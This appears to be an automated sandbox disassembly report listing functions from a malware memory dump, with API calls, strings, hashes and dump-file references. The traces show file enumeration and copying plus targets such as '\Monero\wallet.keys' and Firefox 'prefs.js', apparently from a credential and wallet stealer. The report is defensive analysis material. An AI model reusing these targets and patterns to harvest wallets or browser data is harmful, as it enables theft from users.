API String ID: 3334442632-726946144
Opcode ID: 8b1c12580f93b1671797fc55a85c60fe45c915455ffc9b62cc3277f2bce22623
Instruction ID: 83dc29a88750842b01a1f632320ba832461752759d815a5da0104b4befe6f841
Opcode Fuzzy Hash: 8b1c12580f93b1671797fc55a85c60fe45c915455ffc9b62cc3277f2bce22623
Instruction Fuzzy Hash: 284266729101089BCB14FB70ED56EED73BCAF94301F445A69B906B7181EE349B4DCBA2

Function 00E54910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E5492C
FindFirstFileA.KERNEL32(?,?), ref: 00E54943
StrCmpCA.SHLWAPI(?,00E60FDC), ref: 00E54971
StrCmpCA.SHLWAPI(?,00E60FE0), ref: 00E54987
FindNextFileA.KERNEL32(000000FF,?), ref: 00E54B7D
FindClose.KERNEL32(000000FF), ref: 00E54B92

Strings

%s\*, xrefs: 00E54920
%s\%s, xrefs: 00E549A4
%s\%s, xrefs: 00E549FB

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: e81f7c20d82150d5ff211a040ad9113cb7464315fcd7ea03f8fa50e0ff868862
Instruction ID: 451aefabc257d41596cbef1c37fb04bb3a032f8d410d0e1c4939cb1d82ba1d1d
Opcode Fuzzy Hash: e81f7c20d82150d5ff211a040ad9113cb7464315fcd7ea03f8fa50e0ff868862
Instruction Fuzzy Hash: 5C617AB1610214EBCB30EBA0EC45FEE73BCBB48305F045589B549A7145EB799B89CF91

Function 00E54570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00E54580
RtlAllocateHeap.NTDLL(00000000), ref: 00E54587
wsprintfA.USER32 ref: 00E545A6
FindFirstFileA.KERNEL32(?,?), ref: 00E545BD
StrCmpCA.SHLWAPI(?,00E60FC4), ref: 00E545EB
StrCmpCA.SHLWAPI(?,00E60FC8), ref: 00E54601
FindNextFileA.KERNEL32(000000FF,?), ref: 00E5468B
FindClose.KERNEL32(000000FF), ref: 00E546A0
lstrcat.KERNEL32(?,01CBF258), ref: 00E546C5
lstrcat.KERNEL32(?,01CBE1D8), ref: 00E546D8
lstrlen.KERNEL32(?), ref: 00E546E5
lstrlen.KERNEL32(?), ref: 00E546F6

Strings

%s\*, xrefs: 00E5459A
%s\%s, xrefs: 00E5461B

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: f5d9634ed6cae163e8130e8a40994a56e9c1bbef57b375bb7147bb7806509704
Instruction ID: f51d67e89097dfb06947befb6acbf726d5944776eedb12d19a612f11cefe7cfa
Opcode Fuzzy Hash: f5d9634ed6cae163e8130e8a40994a56e9c1bbef57b375bb7147bb7806509704
Instruction Fuzzy Hash: 71517BB1654218DBC730EB70DC49FEE737CAB58305F405989B689A3184EB799788CFA1

Function 00E53EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E53EC3
FindFirstFileA.KERNEL32(?,?), ref: 00E53EDA
StrCmpCA.SHLWAPI(?,00E60FAC), ref: 00E53F08
StrCmpCA.SHLWAPI(?,00E60FB0), ref: 00E53F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00E5406C
FindClose.KERNEL32(000000FF), ref: 00E54081

Strings

%s\%s, xrefs: 00E53EB7

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 04217a1d2eedc2e4c6f2e7a389be027ca5b8e31f68bedd46f14d5af196653cc1
Instruction ID: e4399c999d29c06a939a570418065e0f4f7caa4cdf522e2b6b6880baed92b42a
Opcode Fuzzy Hash: 04217a1d2eedc2e4c6f2e7a389be027ca5b8e31f68bedd46f14d5af196653cc1
Instruction Fuzzy Hash: C0517BB1914218EBCB34EB70DC45EEE73BCBB48301F044589B699A7044DB799B89CF61

Function 0121D3D5 Relevance: 17.9, Strings: 13, Instructions: 1656COMMON

Download Yara Rule

Strings

6B"Y, xrefs: 0121D55C
}T, xrefs: 0121D95F
Fs', xrefs: 0121DCC2
#^S, xrefs: 0121E368
Vf|3, xrefs: 0121DAB0
d[r, xrefs: 0121DC9F
WS}o, xrefs: 0121D851
+1y, xrefs: 0121DF90
7\, xrefs: 0121D747
9&?, xrefs: 0121D785
gu]h, xrefs: 0121D942
+1y, xrefs: 0121DFB4
qoow, xrefs: 0121E59C

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Fs'$6B"Y$7\$9&?$Vf|3$WS}o$gu]h$qoow$#^S$+1y$+1y$d[r$}T
API String ID: 0-1011748905
Opcode ID: 5bdc742f7263c74f5f67f2e7ea79964551102fbd8aaa59b691ac8ca323fe1327
Instruction ID: 7f8640fdb34c55bd3ff4aab45bcca2a5921592cc3ba3b418308fd7802d1c2d32
Opcode Fuzzy Hash: 5bdc742f7263c74f5f67f2e7ea79964551102fbd8aaa59b691ac8ca323fe1327
Instruction Fuzzy Hash: 25B218F360C204AFE304AE2DEC8567AF7E9EF94720F1A853DE5C4C7744E93558418696

Function 00E4ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E4ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00E4ED55
StrCmpCA.SHLWAPI(?,00E61538), ref: 00E4EDAB
StrCmpCA.SHLWAPI(?,00E6153C), ref: 00E4EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00E4F2AE
FindClose.KERNEL32(000000FF), ref: 00E4F2C3

Strings

%s\*.*, xrefs: 00E4ED32

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 27ef478c46ffdebda5e13cfd894300ab1c9e6b679384dd2ed5b626d7f025a438
Instruction ID: 3f6db0568fce5fd503a8218d073a55fcbbc26983ffbce867dad1dcc4487e1e7d
Opcode Fuzzy Hash: 27ef478c46ffdebda5e13cfd894300ab1c9e6b679384dd2ed5b626d7f025a438
Instruction Fuzzy Hash: 2DE100729111189ADB58FB60DC56EEE73B8BF54301F4456E9B80A72092EE306F8ECF51

Function 00E4F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E615B8,00E60D96), ref: 00E4F71E
StrCmpCA.SHLWAPI(?,00E615BC), ref: 00E4F76F
StrCmpCA.SHLWAPI(?,00E615C0), ref: 00E4F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00E4FAB1
FindClose.KERNEL32(000000FF), ref: 00E4FAC3

Strings

prefs.js, xrefs: 00E4F812

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c28e33b1c6c7391763eefacf6c55776abea01dc412518d7edaffe83eda019c1a
Instruction ID: b2ade20853e80f0a4b5cf575064010140f5bbd6e17b12f532b9b8ebb204a987e
Opcode Fuzzy Hash: c28e33b1c6c7391763eefacf6c55776abea01dc412518d7edaffe83eda019c1a
Instruction Fuzzy Hash: 0AB165719001189BDB28FF60DC55AEE73B9AF94301F4496B9E80AB7141EF346B4DCB92

Function 00E416D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E6510C,?,?,?,00E651B4,?,?,00000000,?,00000000), ref: 00E41923
StrCmpCA.SHLWAPI(?,00E6525C), ref: 00E41973
StrCmpCA.SHLWAPI(?,00E65304), ref: 00E41989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E41D40
DeleteFileA.KERNEL32(00000000), ref: 00E41DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00E41E20
FindClose.KERNEL32(000000FF), ref: 00E41E32

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Strings

\*.*, xrefs: 00E417F1

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 10b944173576c6549e3fa8c983bf88c37d9c7fed9baa28d0ba423e70c74ae536
Instruction ID: 87e2478dd16db369926eafe2a3c7ef889723d94e16550808e2801e64b448a871
Opcode Fuzzy Hash: 10b944173576c6549e3fa8c983bf88c37d9c7fed9baa28d0ba423e70c74ae536
Instruction Fuzzy Hash: A612D0729101189BDB19FB60DC96AEE73B8BF54301F445AA9B90672091EF306F8DCF91

Function 00E4DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00E60C2E), ref: 00E4DE5E
StrCmpCA.SHLWAPI(?,00E614C8), ref: 00E4DEAE
StrCmpCA.SHLWAPI(?,00E614CC), ref: 00E4DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00E4E3E0
FindClose.KERNEL32(000000FF), ref: 00E4E3F2

Strings

\*.*, xrefs: 00E4DE26

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: b867883bad7293443f1d0cb493309da50e141889d73c92a4e384b296900c12d4
Instruction ID: 78e2097d67b2f1565d352956813cecf892adb6749000f36ed5c27ec088811d5a
Opcode Fuzzy Hash: b867883bad7293443f1d0cb493309da50e141889d73c92a4e384b296900c12d4
Instruction Fuzzy Hash: 14F1C0729141189ACB19FB60DC95EEE7378BF54301F8466E9A81A72091EF306F8DCF51

Function 00E4DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E614B0,00E60C2A), ref: 00E4DAEB
StrCmpCA.SHLWAPI(?,00E614B4), ref: 00E4DB33
StrCmpCA.SHLWAPI(?,00E614B8), ref: 00E4DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00E4DDCC
FindClose.KERNEL32(000000FF), ref: 00E4DDDE

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: bb28b6528cfd17811788b5df35271e0988a845b4095c88f331359d2110ed9bcb
Instruction ID: 3558f9f66e6ce82107d7833de88637138a912d89fe226760d328db9eb950a7e6
Opcode Fuzzy Hash: bb28b6528cfd17811788b5df35271e0988a845b4095c88f331359d2110ed9bcb
Instruction Fuzzy Hash: 74915472A0010497CB14FF70EC569ED77BCAB88301F449A69FD4AB7145EE349B4D8B92

Function 012181E6 Relevance: 11.7, Strings: 8, Instructions: 1677COMMON

Download Yara Rule

Strings

G5Y', xrefs: 01218E53
t&^, xrefs: 01218E63
0I?, xrefs: 012190EC
]o, xrefs: 01219089
{!qn, xrefs: 0121820D
n3~, xrefs: 0121891E
\_{k, xrefs: 01218FB0
^V?, xrefs: 0121900E

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
